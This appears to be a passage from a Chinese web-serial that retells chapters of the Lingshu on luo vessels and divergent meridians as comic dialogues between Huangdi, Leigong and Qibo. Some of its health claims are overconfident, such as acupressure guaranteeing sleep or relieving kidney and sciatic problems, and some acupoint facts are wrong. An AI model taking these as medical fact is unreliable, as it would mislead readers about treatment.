雷公一听，顿时来了精神，眼睛一亮：“叛逆少年？这名字真有趣！那它投奔阳明胃经后，都干了些什么呢？” 黄帝老师微微一笑：“别急，听我慢慢道来。公孙这家伙，虽然叛逆，但人家也是有情有义的。它投奔阳明胃经后，并没有忘记自己的老本行——调理肠胃。所以啊，它就悄悄地潜入肠胃的经络里，成了肠胃的守护者。” “哦？这么说来，公孙还是个‘肠胃小卫士’呢！”雷公恍然大悟，点头称赞。 黄帝老师接着说道：“没错，公孙确实是肠胃的小卫士。不过，这个小卫士有时候也会遇到麻烦。比如说，当肠胃里的‘厥气’——也就是那些不听话的气乱窜时，公孙就会忙得团团转。如果厥气上逆得太厉害，公孙就挡不住了，这时候人就会出现霍乱的症状，上吐下泻，那可真是难受极了。” 这章没有结束，请点击下一页继续阅读！ 雷公一听，不由得皱起了眉头：“这么说来，公孙也有力不从心的时候啊。” 黄帝点了点头：“是啊，但公孙也有它的厉害之处。当它实力强大时，就能把肠胃里的邪气镇压得死死的。不过，这时候人也会感到肠中切痛，就像被刀割一样。反过来，如果公孙太虚弱了，它就没办法守住肠胃，这时候人就会出现鼓胀的症状，肚子胀得像个大气球。” 雷公听得津津有味，但又不禁有些疑惑：“那黄帝，我们怎么帮助公孙这个小卫士呢？” 黄帝老师神秘一笑：“这就是针灸的妙处了。我们可以通过针灸公孙穴，来增强或调和公孙的力量。当公孙太弱时，我们就给它加点油；当公孙太强时，我们就给它泄泄火。这样一来，公孙就能更好地守护肠胃，让人远离肠胃疾病了。” 雷公一听，顿时恍然大悟：“原来如此！针灸真是神奇啊！” 黄帝看着雷公兴奋的样子，心里也很高兴：“是啊，针灸确实神奇。不过，要想用好针灸，还得下苦功夫学习呢。” 雷公连连点头：“黄帝放心，我一定会努力学习的！” 说到这里，黄帝突然话锋一转：“对了，雷公啊，我给你讲个笑话吧。有一天，公孙穴遇到了一位病人，病人说：‘公孙啊公孙，我肠胃不好，你能不能帮我治治？’公孙穴一听，顿时哭笑不得：‘老兄啊，我可是足太阴之别，不是肠胃科的医生啊！不过嘛，看在你是我朋友的份上，我还是尽力帮你一把吧。’说完，公孙穴就调动全身的气血，帮病人调理肠胃。结果你猜怎么着？病人的肠胃问题还真被治好了！哈哈，你说这个笑话好不好笑？” 雷公一听，顿时笑得前仰后合：“黄帝，您真是太幽默了！这个笑话真好笑！” 黄帝看着雷公笑得开心的样子，心里也很高兴：“好了好了，笑够了咱们就继续学习吧。记住啊，针灸之道在于精准和调和。只有找准了穴位，调和了气血，才能达到治病救人的目的。” 有一天，雷公这家伙，一脸好奇地凑到了黄帝面前，眨巴着那双充满求知欲的大眼睛，问道：“黄帝，我一直有个问题想不明白，就是那个足少阴之别的道理，您能给我讲讲不？” 黄帝一看雷公这求知若渴的样子，心里暗笑，心想：“这家伙，平时调皮捣蛋，没想到也有认真的时候。”于是，黄帝清了清嗓子，开始了他的中医课堂：“好吧，既然你这么好学，那我就给你讲讲这足少阴之别的奥秘。” 黄帝缓缓说道：“足少阴之别，它有个响亮的名字，叫做大钟。这大钟啊，可不是咱们平时敲的那种，它是中医经络里的一个穴位，位置可讲究了。”说着，黄帝指了指自己的脚踝后方，“你看，就在这踝后，绕个弯儿，跟脚后跟打了个招呼，然后就溜达去了太阳经那里。这家伙，可调皮了，不老实待在自己的地盘。” 雷公一听，眼睛瞪得圆圆的，惊讶地说：“哎呀，这大钟穴位还会串门儿啊？真是够忙的！” 黄帝笑了笑，继续道：“它的别支啊，更调皮，不走寻常路，直接并着正经往上跑，一路狂奔到了心包经那里，然后又掉头往下，外穿腰脊，简直就是经络界的‘跨界歌王’嘛！” 雷公听得哈哈大笑，说道：“这大钟穴位也太会玩了，简直就是经络里的‘旅行家’嘛！那它要是出了问题，会咋样呢？” 黄帝收起笑容，认真地说：“要是这大钟穴位的气不顺了，那可就有得受了。它会让你觉得心里烦闷，就像有只小猫在胸口挠来挠去，让你坐立不安。要是它太实在了，实得过头，那可就惨了，你会觉得小便不通畅，跟个憋尿的勇士似的，那滋味可不好受。反过来，要是它太虚了，那腰啊，就像被千斤重担压着一样，疼得你直哼哼。” 雷公一听，夸张地揉了揉腰，说道：“哎呀妈呀，这大钟穴位可真是个‘小祖宗’啊，得好好供着，不然它一不高兴，咱们就得遭殃！” 黄帝点了点头，说道：“所以啊，咱们得知道怎么对付它。要是它调皮捣蛋了，咱们就取它的别支，也就是那‘跨界歌王’的路线，给它来个‘按摩疗法’，让它老实点儿。” 雷公好奇地问：“那具体咋按呢？得按哪个位置啊？” 黄帝指了指自己的脚踝后下方，说：“你看，就在这跟骨结节的内侧凹陷处，跟内踝后缘有个亲密接触的地方，那就是大钟穴了。你要是觉得心里烦闷，或者小便不通畅，或者腰疼得厉害，就在这儿按按揉揉，准能舒服不少。” 雷公一听，兴奋地搓了搓手，说道：“黄帝，您这方法真是太棒了！以后我这腰啊，要是再疼，我就直接找这大钟穴位‘算账’去！” 黄帝看着雷公那兴奋的样子，忍不住笑了起来，说道：“你啊，平时调皮捣蛋惯了，这回可得好好学学，把这中医的知识学到手，以后也能造福百姓嘛！” 小主， 雷公连连点头，说道：“黄帝，您放心，我一定好好学，争取早日成为中医界的‘学霸’！” 接下来，黄帝开始给雷公详细讲解大钟穴位的定位和功效。 “大钟穴啊，它是足少阴肾经的络穴，也是八会穴之一的肾经会穴。它的位置呢，就在内踝后下方，跟骨结节的内侧凹陷处。你摸摸看，是不是有个软软的凹陷？”黄帝边说边示范给雷公看。 雷公摸了摸自己的脚踝后下方，果然找到了那个凹陷处，兴奋地喊道：“找到了！找到了！黄帝，这儿就是大钟穴吧？” 黄帝点了点头，继续说道：“没错，就是这儿。这大钟穴啊，它可是个‘多面手’，既能治疗肾病，又能治疗腰脊痛、坐骨神经痛这些毛病。还有啊，你要是觉得心烦意乱、失眠多梦，也可以按按它，保证你一觉到天亮！” 雷公听得目瞪口呆，说道：“这大钟穴位也太神奇了吧？简直就是‘万能钥匙’嘛！黄帝，您这中医知识真是太渊博了！” 黄帝谦虚地笑了笑，说道：“哪里哪里，中医这门学问啊，博大精深，我也是学无止境啊。不过呢，只要咱们用心去学，总能学到点儿皮毛的。” 雷公一听，连忙点头称是，心里暗暗发誓要好好学习中医知识。 接下来，黄帝又给雷公讲解了如何运用针灸疗法来刺激大钟穴位。 “针灸啊，这可是咱们中医的瑰宝之一。你要是觉得大钟穴位附近疼痛或者不适，就可以让针灸医生给你扎一针，保证你马上舒服不少。”黄帝边说边比划着针灸的动作。 经脉篇第十（十四） 经脉篇第十（十四） 话说有一天，雷公这位中医界的“十万个为什么”又来找黄帝请教问题了。他一脸好奇地问：“黄帝啊，我这心里头有个痒痒挠，就想问问，那个足厥阴之别的道理，您能给我讲讲不？” 黄帝一听，心里头那个乐啊，心想这雷公还真是好学不倦呢。于是，他慢悠悠地开口了：“雷公啊，你这问题问得好！足厥阴之别，咱们中医里给它起了个文雅的名字，叫蠡沟。听着就像是小溪潺潺流过蠡壳（一种贝类）的缝隙，是不是挺有诗意的？” 雷公一听，眼睛一亮：“哎哟喂，这名字还真有味道！那它具体在啥位置呢？” 黄帝微微一笑，继续说：“这蠡沟穴啊，它就藏在咱们脚上内踝那儿，往上量五寸的地方。你可别小看这五寸，它可是连接足厥阴肝经和足少阳胆经的秘密通道呢！就像是一条隐形的高速公路，让气血在两条经络之间自由穿梭。” 雷公一听，来了精神：“哎呀，这么说来，这蠡沟穴还是个交通枢纽呢！那它有啥特别的作用吗？” 黄帝点了点头：“作用可大了去了！这蠡沟穴啊，它不光能疏通肝经和胆经的气血，还能治疗一些让人头疼的毛病。比如说啊，有的人气不顺，肝气郁结，这蠡沟穴就能帮他把这股闷气给疏散开来。要不然啊，这股气堵在那儿，就像高速公路上堵了车，你说难受不难受？” 雷公一听，哈哈大笑：“您这比喻真是太形象了！那要是堵得厉害了，会出啥问题呢？” 黄帝神色一凝：“堵得厉害了啊，问题可就不小了。比如说，有的人会睾丸肿胀，突然得上疝气，疼得死去活来的。这就是因为气血堵在蠡沟穴这儿，下不去也上不来，只能在那儿干着急。所以啊，咱们中医讲究的是疏通，把这股气血给引导开，问题就迎刃而解了。” 雷公一听，眉头一皱：“哎哟，这听起来可真够遭罪的！那要是蠡沟穴这儿太‘实’了或者太‘虚’了，又会咋样呢？” 黄帝耐心地解释：“太‘实’了啊，就好比这条高速公路上车太多了，挤得满满当当的，那人的那个地方啊，就会挺得老高，你说尴尬不尴尬？而太‘虚’了呢，就好比这条路上车太少了，冷冷清清的，那地方就会突然痒得要命，让人忍不住想去挠挠。所以啊，咱们得根据具体情况，来调整这条路上的车流量，也就是气血的流动。” 雷公一听，眼睛瞪得圆圆的：“哎呀妈呀，这蠡沟穴还真是厉害！那要是想调理它，该咋整呢？” 黄帝微微一笑：“调理它啊，其实也不难。你就找到内踝往上五寸的那个地方，轻轻一按，如果感觉到酸酸胀胀的，那就是找对地方了。然后啊，你可以用针灸的方法，刺激一下这个穴位，让气血流通起来。当然了，你要是怕针，也可以用按摩或者艾灸的方法，效果也是一样的。” 雷公一听，恍然大悟：“原来如此啊！看来我这以后得多按按这蠡沟穴，免得自己也得上那些尴尬的毛病。” 黄帝老师一听，哈哈大笑：“雷公啊，你这学习态度可真是没得说！不过啊，记得要适度哦，别按得太过火了，免得自己受不了。” 说到这里啊，咱们也得插一嘴。这蠡沟穴啊，可真是个宝藏穴位。它不光能治疗疝气、睾丸肿胀这些让人头疼的毛病，还能调理月经不调、带下这些妇科问题呢。所以啊，女性朋友也别忘了多关爱一下自己的蠡沟穴哦！ 有一天，雷公这老兄，一脸好奇地凑到了黄帝跟前，眨巴着眼睛问：“黄帝，我有个问题憋心里好久了，就是想知道那个任脉之别的道理，您能给我讲讲不？”黄帝一听，哈哈一笑，心想这雷公还真是好学，便慢悠悠地开了口。 “雷公啊，你这问题问得好！任脉之别，那可是个有意思的东西，咱们中医里管它叫‘尾翳’。这个名字听起来是不是有点神秘兮兮的？其实啊，它就像是我们身体里的一个小秘密通道，连接着任脉和其他经络，起着调节气血、平衡阴阳的大作用呢！” 黄帝顿了顿，看雷公听得入迷，便继续往下说：“这尾翳啊，它从哪儿开始呢？嘿，就是从咱们胸口那块软骨——鸠尾穴那儿开始。你想象一下，鸠尾穴就像是身体里的一个小门，尾翳就是从那扇门里溜出来的一条小路。这条路可不简单，它一路往下走，散布在咱们的肚子上，就像是给肚子披上了一层隐形的气血外衣。” “那这层‘气血外衣’有啥用呢？”雷公迫不及待地问。黄帝微微一笑，说：“作用可大了去了！要是尾翳里的气血太足了，也就是‘实则’，那肚子上的皮就会觉得疼，就像是被针扎了一样。为啥呢？因为气血太多了，堵在那儿出不去了嘛！反过来，要是尾翳里的气血不足，也就是‘虚则’，那肚子就会觉得痒痒的，老想挠一挠。这种感觉，就像是肚子上爬满了小蚂蚁，让你忍不住想去抓一抓。” 这章没有结束，请点击下一页继续阅读！ 雷公一听，眼睛瞪得圆圆的，惊讶地说：“哇，原来尾翳这么神奇啊！那要是遇到这种情况，咱们该怎么办呢？”黄帝捋了捋胡子，说：“简单啊，咱们中医讲究的是‘辨证施治’，哪儿不舒服就治哪儿。尾翳出问题，咱们就找它的‘所别之处’，也就是它跟任脉连接的那个关键点。在这个点上扎上一针，就像是给气血开了个小窗，让它流通起来，肚子也就不疼不痒了。” “说到这儿啊，我还得给你普及一下鸠尾穴的具体位置。”黄帝说着，比划了起来，“鸠尾穴就在咱们胸口正中央，往下摸，摸到那块软骨的末端，就是它了。这个穴位啊，可是个‘宝藏穴位’，不仅能治肚子上的毛病，还能调理心肺、安神定志呢！不过啊，扎针这事儿可得找专业人士来干，咱们自己可别轻易尝试哦！” 雷公听得连连点头，心里暗自佩服黄帝的博学多才。突然，他眉头一皱，说：“黄帝，我有个疑问啊，这尾翳既然这么重要，那咱们平时有没有什么方法可以预防它出问题呢？”黄帝一听，哈哈大笑，说：“当然有啦！咱们中医讲究的是‘治未病’，也就是提前预防。要想尾翳不出问题，你就得好好保养身体，别老是熬夜、吃垃圾食品啥的。还有啊，多练练气功、打打太极，让气血运行得顺畅一些，尾翳自然也就没问题啦！” 雷公这位中医界的“十万个为什么”又按捺不住好奇心，蹦跶到黄帝面前，一脸求知欲地问：“黄帝大，我听说督脉里藏了个秘密通道，名叫‘督脉之别’，这到底是咋回事儿？能给我说道说道吗？” 黄帝一听，哈哈一笑，心想：这家伙又来对中医理论开垦新大陆了。于是，黄帝清了清嗓子，开启了“中医小课堂”模式：“雷公啊，你这问题问得好！督脉之别，那可是中医经络学里的一条隐藏版‘高速路’，官方名称叫做‘长强穴’的别络。咱们不妨把它想象成一条超级英雄的秘密通道，连接着身体的能量总站——督脉，与身体的各个角落。” “这条‘高速路’从哪里开始呢？它就藏在咱们的尾骨尖端下，那里有个穴位，正是‘长强穴’。可别小看这个地方，它可是督脉与任脉交汇的‘十字路口’，能量巨大。想象一下，你从尾骨那儿，就像坐上一辆隐形飞车，沿着脊椎两侧，‘嗖’地一下往上冲，直接穿越到后脑勺，再四散开来，覆盖整个头顶，感觉就像是头顶戴了一顶无形的能量帽。” “但这还没完呢，咱们的‘飞车’在到达头顶后，还会玩一把‘高空跳伞’，沿着肩膀两侧，也就是肩胛骨附近，优雅地滑翔下来，最后悄悄溜进膀胱经——也就是中医说的‘太阳经’。这样一来，督脉之别就像是搭建了一座桥梁，让督脉与膀胱经实现了能量共享，是不是很酷？” 雷公听得眼睛直放光，连连点头：“哇塞，这简直就是人体内的‘星际穿越’啊！那这条通道要是出问题，会怎么样呢？” 黄帝微微一笑，继续讲解：“没错，这条通道虽然隐蔽，但作用可不小。如果它能量过剩，也就是‘实则脊强’，你就会感觉到脊梁骨硬邦邦的，像装了钢筋一样，弯个腰都得费老劲。相反，如果它能量不足，‘虚则头重’，你就会觉得头像被灌了铅，整天晕乎乎的，走路都像喝醉酒的大汉，摇摇摆摆，恨不得找个枕头随时倒头就睡。” “更有趣的是，这条通道要是堵了，你还会发现自己老爱摇头晃脑，就像被安装了自动摇摆装置，根本停不下来。这其实是身体在向你发出信号，说：‘嘿，哥们儿，督脉之别那儿有点堵，快来疏通一下！’” 雷公一听，乐不可支：“哈哈，这么说来，督脉之别还是个‘摇头报警器’呢！那要怎么疏通呢？” 黄帝摸了摸下巴，故作神秘地说：“疏通嘛，自然得找对穴位。既然问题出在督脉之别，咱们就从‘长强穴’下手。这个位置，你趴在床上，让朋友帮你找找尾骨最下端，那里就是‘长强穴’的藏身之处。轻轻按摩或者针灸这里，就像是给这条秘密通道加油打气，让能量流动起来，脊背自然就柔软了，头也不晕了，走路也能带风了。” 有一天，雷公这家伙，闲着没事，就跑到黄帝面前，眨巴眨巴眼睛，一脸好奇地问：“黄帝，我一直有个问题想不明白，就是那个脾之大络，它到底是个啥玩意儿？您能给我讲讲不？” 黄帝一听，哈哈一笑，心想：“这家伙，又来找乐子了。”于是，黄帝清了清嗓子，开始给雷公上起了生动的中医课。 “雷公啊，你问的这个脾之大络，那可是个好东西，它的名字叫做大包。你想象一下，脾就像是一个大仓库，这个大包呢，就像是仓库外面那个大大的打包带，把仓库里的好东西都牢牢地绑在一起，不让它们乱跑。” 雷公一听，眼睛一亮，笑道：“哦？这么说来，这个大包还挺重要的嘛！那它具体在哪个位置呢？” 小主， 黄帝指了指自己的腋下，说：“你看啊，这个大包穴，它就藏在咱们的渊腋下三寸的地方。渊腋啊，就是那个腋窝下面一点点，你用手一摸，就能摸到一条软软的肉棱子，那里就是渊腋。然后，你再往下数三寸，对，就是那里，有个穴位，它就是大包。” 雷公摸了摸自己的腋下，一脸疑惑地说：“三寸？这是多少厘米啊？我这尺子没带，怎么量啊？” 黄帝笑了：“你这家伙，还真是较真。其实啊，中医里的这个寸，它不是固定的长度，它是根据你的手指来定的。你看，你的大拇指这个宽度，就差不多是一寸了。所以，三寸嘛，就是三个这样的宽度。” 雷公一听，恍然大悟，笑道：“原来如此，我还以为要用尺子量呢！那这个大包穴，它有啥作用呢？” 黄帝捋了捋胡子，说：“这个大包啊，它的作用可大了去了。它就像是脾经络的一个交通枢纽，脾经络里的气血啊，都要经过这里，然后分布到胸胁部位。所以啊，如果这个大包穴实了，也就是气血太多了，那它就会堵住，让你全身疼痛。反过来呢，如果这个大包穴虚了，也就是气血不够了，那它就会松懈，让你的关节都变得松松垮垮的，像散了架一样。” 雷公一听，吓得赶紧摸了摸自己的大包穴，生怕它出了什么问题。黄帝一看他这副模样，忍不住笑了起来：“你这家伙，别紧张。这个大包穴啊，它就像是咱们身体里的一个小闹钟，只要咱们好好保养它，它就不会出问题。” 雷公松了口气，笑道：“那就好，那就好。那万一它出问题了呢？咱们该怎么办？” 黄帝说：“如果它真的出问题了，比如说堵住了，那你就可以通过针灸或者按摩的方法，来疏通它。就像疏通下水道一样，把里面的垃圾都清理掉，让它重新变得通畅。” 雷公一听，眼睛又亮了：“针灸？按摩？听起来好有意思啊！那您能教我怎么做吗？” 黄帝点了点头，开始给雷公讲解针灸和按摩的方法。他说：“针灸呢，就是要用银针扎进大包穴里，刺激它，让它重新活跃起来。不过啊，这个得有专业的医生来做，不然容易出问题。至于按摩嘛，就比较简单了。你只需要用双手的手掌，轻轻地按住大包穴，然后顺时针或者逆时针地揉动，每次揉个十分钟左右，就可以了。” 雷公一听，跃跃欲试：“那我来试试按摩吧！您看着点，别让我按错了。” 于是，雷公就开始按照黄帝的指示，按摩起自己的大包穴来。他一边按，一边还哼起了小曲儿，看起来十分享受。 黄帝看着雷公这副模样，忍不住笑了起来：“你这家伙，还真是会找乐子啊！不过啊，记得要持之以恒，才能看到效果哦。” 雷公点了点头，笑道：“放心吧！我这人别的优点没有，就是持之以恒。从今天起，我每天都要按摩这个大包穴，让我的身体变得棒棒的！” 雷公这家伙，脑子一转，突然对黄帝说：“嘿，老大！我一直有个事儿纳闷儿，那个十五络到底是个啥玩意儿？能不能给咱讲讲？”黄帝一听，心想：这家伙今天怎么对中医理论感兴趣了？不过既然开口了，那就得好好给他上一课。于是，黄帝清了清嗓子，开始了他的“爆笑中医十五络大揭秘”。 黄帝缓缓道来：“雷公啊，这十五络啊，可不是一般的路数，它们就像是人体内的秘密通道，连接着我们的十二条正经和任督二脉，就像是高速公路上的服务站，虽然不起眼，但少了它们，气血运行就得乱套！” 雷公一听，眼睛一亮：“哦？这么神奇？那它们具体是怎么个神奇法呢？” 黄帝微微一笑，接着说：“这十五络啊，有个特点，那就是‘实则必见，虚则必下’。这话听起来有点玄乎，我给你解释解释。简单来说，就是如果你的身体某个部位气血太足了，这些络脉就像充了气的气球，鼓鼓的，你一按就能感觉到；反过来，要是气血不足，它们就像泄了气的皮球，你得往下找找，比如在关节缝隙啊，肌肉凹陷处啊，才能摸到它们的踪迹。这就像是找宝藏，有时候得往深了挖，有时候呢，就在眼皮子底下。” 雷公挠挠头：“这听起来有点像捉迷藏啊！那这些络脉的位置还不固定？” 黄帝点头笑道：“对头！人体这个大家庭里，每个人的经络都像是个性十足的成员，它们有自己的小癖好，络脉的位置也因此各不相同。这就像你们家里的兄弟姐妹，虽然都是一家人，但各有各的房间，各有各的爱好。所以啊，找络脉这事儿，得因人而异，灵活变通。” 雷公恍然大悟：“原来如此！那这些络脉到底有啥用呢？” 黄帝神秘一笑：“用处可大了去了！它们就像是身体的情报员，能反映出我们身体的健康状况。比如，如果你某天突然觉得手臂酸麻，那可能是手太阴肺经的络脉在向你报警，告诉你肺部可能有点小状况；又或者，你脚底板无缘无故地疼，那可能是肾经的络脉在提醒你，要注意肾脏的保养了。这就像手机电量低时会提醒充电一样，络脉就是身体给我们的小贴士。” 雷公听得津津有味：“这么神奇！那针灸的时候，是不是也要特别关注这些络脉呢？” 黄帝赞许地点点头：“没错！针灸高手，就像是精通密码的特工，能够通过观察络脉的状态，精确找到治疗的关键点。比如，治疗头痛，可能不需要直接扎在头上，而是选择手上的合谷穴，因为那是大肠经的络脉所在，大肠经和头面部有密切联系。这就像解谜游戏，找到线索，才能一击即中。” 雷公听得热血沸腾：“太酷了！那我是不是也能成为针灸大师？” 黄帝哈哈大笑：“当然可以！不过，这需要时间，需要耐心，更需要你对身体的敬畏和热爱。记住，中医不是魔法，它是千百年智慧的结晶，每一次针灸，都是与自然法则的对话，是对生命奥秘的探索。” 雷公挠挠头，认真地说：“老大，你说得我都心动了！看来，我得好好学学这十五络的知识，说不定哪天，我也能成为江湖上传说的‘一针见血’大师呢！” 黄帝拍了拍雷公的肩膀：“加油！不过别忘了，学习中医，最重要的是实践中的感悟和心得，理论结合实际，才是王道。还有，别忘了保持一颗谦逊的心，中医的海洋深不可测，我们永远都只是探索者。” 经别篇第十一（一） 话说有一天，黄帝闲来无事，就去找岐伯聊天。黄帝一开口，那叫一个高大上：“岐伯啊，我听说咱们人和天地之间，那可是有着不解之缘的。咱们身体里头有五脏，跟五音、五色、五时（就是四季加长夏啦）、五味、五位（方位）都对应着呢。外面呢，还有六腑，跟六律也搭上边。这六律啊，它还管着阴阳诸经，跟十二月、十二辰（就是十二时辰啦）、十二节（节气）、十二经水（这个嘛，可以理解为十二条像河流一样流淌在我们体内的能量通道）、十二时（这里再强调一下，是十二时辰）、十二经脉都合得上。你说，咱们这五脏六腑，是不是跟天道配合得天衣无缝啊？” 岐伯一听，心想：这黄帝今天这是要考我啊！于是，岐伯赶紧拱手行礼，一脸恭敬地说：“哎呀，黄帝，您这问题问得太有水平了！这可是我那些粗心大意的同行们容易忽略，而我们这些高手们天天琢磨的事儿。既然您这么有兴趣，那我就给您细细道来，保证让您听得津津有味！” 黄帝一听，乐了：“哈哈，岐伯啊，你这嘴皮子也是越来越溜了。行，那你就说吧，我听着呢！” 岐伯清了清嗓子，开始了他的爆笑讲解：“首先啊，咱们得说说这十二经脉。这十二经脉啊，那可是咱们人体的生命线，咱们活着靠它，生病了也赖它。你说咱们身体好，那是经脉通畅；身体不好了，那就是经脉堵了或者乱了套。所以啊，学医的小伙伴们，一开始就得死磕这十二经脉，医生大佬们呢，一辈子都在研究它。对那些粗心大意的人来说，这十二经脉就是他们最容易忽略的地方；但对咱们这些高手来说，这可是最难啃的骨头！” 黄帝听得频频点头：“嗯，岐伯你说得在理。那这十二经脉的离合、出入又是怎么回事呢？你能不能给我讲讲？” 岐伯一看黄帝来了兴趣，那叫一个得意：“哈哈，黄帝，您这可是问到点子上了！这十二经脉啊，它们可不是死板的，它们是活的，会动的！它们就像咱们身体里的高速公路，有入口，有出口，还有交汇点。这离合啊，说的就是它们交汇的地方，有的地方经脉交汇得多，那就叫合；有的地方经脉分得开，那就叫离。这出入呢，更简单啦，就是经脉的起点和终点，起点就是入，终点就是出。您说，这十二经脉是不是跟咱们天地间的道理一样，既有交汇，又有分离，还有始有终啊？” 黄帝一听，眼睛一亮：“哎呀，岐伯啊，你这么一说，我这脑袋瓜子一下就开窍了！原来这十二经脉是这么回事啊！那你能不能再给我讲讲，这十二经脉具体是怎么离合、出入的呢？” 岐伯一看，心里那个乐呵：“哈哈，黄帝，您这求知欲旺盛得，简直能给我充电三天三夜啊！不过话说回来，十二经脉的离合、出入，那可是中医里的高深莫测，咱们得悠着点，一步步来。但既然您这么给面子，我就豁出去了，用最接地气的例子，让您一听就懂，笑中带悟！” 岐伯清了清嗓子，开始了他的爆笑讲解：“咱先说这离合吧。您有没有想过，咱们开车上高速，那收费站是不是必经之路？嘿，您别说，这收费站啊，就是咱们经络里的交汇点，离合的关键所在。想象一下，有的路段，收费站一个接一个，车多得跟蚂蚁搬家似的，这不就是经络交汇密集，合得紧紧的嘛！反过来，有的地方，收费站稀稀拉拉，车少得能数得清，这不就像是经络分得开，各自逍遥嘛！所以说，离合这事儿，就跟咱们高速路上的收费站一样，热闹还是冷清，全靠缘分和路况，哦不，是经络的布局！” 黄帝一听，眼睛一亮，笑声差点把屋顶掀翻：“哈哈，岐伯，你这比喻绝了！那我再问，出入又是咋回事？给我再‘开车’讲一遍！” 岐伯一看黄帝笑得合不拢嘴，心里那个得意劲儿，别提了：“哈哈，黄帝，您坐稳了，咱们这就发车讲出入！想啊，咱们每次上高速，总得有个起点吧？那起点，就是咱们经络的‘入’口。您想啊，那是咱们旅程的开始，就像经络里的气血，从这里缓缓启动，蓄势待发。然后呢，咱们一路飞驰，到了目的地，下了高速，那就是经络的‘出’口。这一路，气血就像咱们车里的油，一边跑一边消耗，到了终点，任务完成，该休息休息，该补充补充。您看，这出入，不就跟咱们开车上高速，从起点到终点，简简单单，明明白白嘛！” 说到这儿，岐伯还不忘加个小幽默：“黄帝，您说，咱们中医经络要是真变成高速公路，那得多有趣？合谷穴可能就是服务区，供气血小憩；太冲穴嘛，估摸着是个测速点，提醒气血别跑得太快，小心‘超速’！哈哈，这样一来，咱们身体里的气血循环，不就成了一场说走就走的旅行，既刺激又养生！” 黄帝一听，乐得合不拢嘴：“哈哈，岐伯啊，你这嘴皮子真是越来越溜了！你这比喻打得，让我这医学小白都一听就懂！那你能不能再给我讲讲，这十二经脉跟咱们日常生活中的哪些方面还有联系呢？” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 岐伯一看黄帝这求知欲旺盛得跟个孩子似的，那叫一个无奈：“哈哈，黄帝啊，您这可是给我出了个大难题啊！这十二经脉跟咱们日常生活的联系啊，那多了去了！您想啊，咱们平时吃饭、睡觉、运动，哪一样不得靠这十二经脉啊？就拿吃饭来说吧，咱们吃的东西得靠经脉运送到全身各处，给咱们提供能量。要是经脉堵了，那咱们就得消化不良、肚子疼了。您说，这十二经脉跟咱们日常生活的联系大不大啊？” 黄帝一听，那叫一个恍然大悟：“哎呀，岐伯啊，你这么一说，我这才明白过来！原来咱们这十二经脉啊，跟咱们日常生活息息相关啊！那你能不能再给我讲讲，咱们平时应该怎么保养这十二经脉呢？” 岐伯一看黄帝这养生意识这么强，那叫一个欣慰：“哈哈，黄帝啊，您这可是问到点子上了！咱们平时啊，要想保养好这十二经脉啊，那就得注意以下几点：第一啊，得吃好。咱们得吃那些有营养、好消化的食物，这样才能给经脉提供足够的能量。第二啊，得睡好。咱们得保证充足的睡眠时间，让经脉得到充分的休息和恢复。第三啊，得运动好。咱们得适当地进行体育锻炼啊，这样才能促进经脉的血液循环和新陈代谢。您说，咱们平时要是能做到这三点啊，那这十二经脉啊，肯定就能保养得棒棒的啦！” 有一天，黄帝突然对身边的岐伯发起了疑问，一脸好奇宝宝地问：“岐伯啊，我一直想弄明白，这一经啊，它到底是个啥玩意儿？能给我说道说道不？” 岐伯一听，嘿，这问题有意思，便捋了捋他那飘逸的胡子，慢悠悠地说：“黄帝啊，这事儿咱们得从头捋。你说这‘一经’，咱们中医里讲的经络啊，那可是人体里的神秘通道，就像是城市里的地铁线路，虽然看不见摸不着，但它确实存在，而且作用大着呢！今天咱们就先聊聊这足太阳膀胱经的一条支线，那可是相当有意思的。” 黄帝一听，眼睛立马亮了，催促道：“快快快，别卖关子了，赶紧说说这足太阳膀胱经的支线，是怎么个神秘法？” 岐伯清了清嗓子，仿佛是要开始一场精彩绝伦的探险故事，缓缓开口道：“咱们今天不聊那些耳熟能详的大路货，比如足太阳膀胱经那从头顶直贯脚底的主干线，那可是人体经络里的‘超级高速公路’，谁都知道。但今天，咱们要挖挖它的‘秘密小径’，那条调皮捣蛋、爱捉迷藏的支线！” 黄帝一听，眼睛立马亮了起来，像是个等着听睡前故事的小孩：“哦？秘密小径？快说说，这经络还玩躲猫猫呢？” 岐伯笑眯眯地点了点头，仿佛在说：“坐稳了，咱们要发车了！”他接着说：“这条支线啊，就像是膀胱经里的叛逆少年，从主干道上一溜烟儿地跑了出来，然后悄无声息地钻进了咱们的大腿后侧，也就是你说的那个膝盖窝。嘿，你别说，这地方平时谁会在意？可它偏偏就选在了这里，藏得那叫一个深！” 黄帝一听，乐不可支：“哈哈，这经络还懂得隐蔽战术呢！膝盖窝，平时咱们也就拍拍灰、挠挠痒，没想到里面还藏着这么一位‘经络大侠’！” 岐伯摆摆手，示意黄帝别急，好戏还在后头：“更逗的是，这位大侠从膝盖窝溜出来后，不走寻常路，非要来个‘屁股下的冒险’。它绕过屁股蛋子，大概就在屁股往下一拃（大约五寸）的地方，突然分出一股神秘力量，嗖的一下，直接钻进了咱们的肛门！你说，这操作是不是够奇葩？简直就是经络界的‘特工007’嘛！” 黄帝一听，差点没从椅子上掉下来，笑得前仰后合：“哈哈，这经络还爱钻肛门？这剧情反转得太快，我心脏都快跟不上了！这简直就是人体内的‘地道战’啊！” 岐伯笑得眼睛眯成了一条缝，继续爆料：“别急，别急，这还没完呢！这位经络特工进了膀胱后，还不忘跟肾脏打个招呼，就像串门一样，给肾脏送上一份‘能量小礼包’，说是‘礼轻情意重’，其实啊，这礼包里的能量可不小，对肾脏那是大大的有益！你说，这经络是不是既贴心又调皮？简直就是人体里的‘暖男’嘛！” 黄帝笑得眼泪都快出来了，一边擦眼泪一边说：“这经络也太有爱了！简直就是人体内的‘快递小哥’，还兼职做‘情感顾问’！不过，它接下来又要怎么耍宝呢？” 岐伯故作神秘地压低了声音，仿佛要揭晓一个惊天大秘密：“重头戏来了！这位经络大侠在膀胱和肾脏那儿逛了一圈后，竟然还不满足，又沿着咱们的脊椎骨往上爬，一路向上，就像爬山虎一样，那叫一个坚韧不拔！它一直爬到心脏附近，然后在那儿散开来，就像是给心脏披上了一层温暖的经络外衣，简直是人体内的‘超级英雄披风’啊！” 黄帝听得哈哈大笑：“这经络还真是够意思，不仅给膀胱、肾脏送温暖，连心脏都不忘关照一下。那它接下来呢？不会直接爬到头顶去吧？” 这章没有结束，请点击下一页继续阅读！ 岐伯摇了摇头：“那倒没有，不过它确实是从脊椎骨上继续往上爬，一直爬到脖子后面，也就是咱们的项部，然后又跟足太阳膀胱经的正经汇合了。这一圈下来，就像是完成了一次奇妙的探险之旅，你说这经络是不是挺有意思的？” 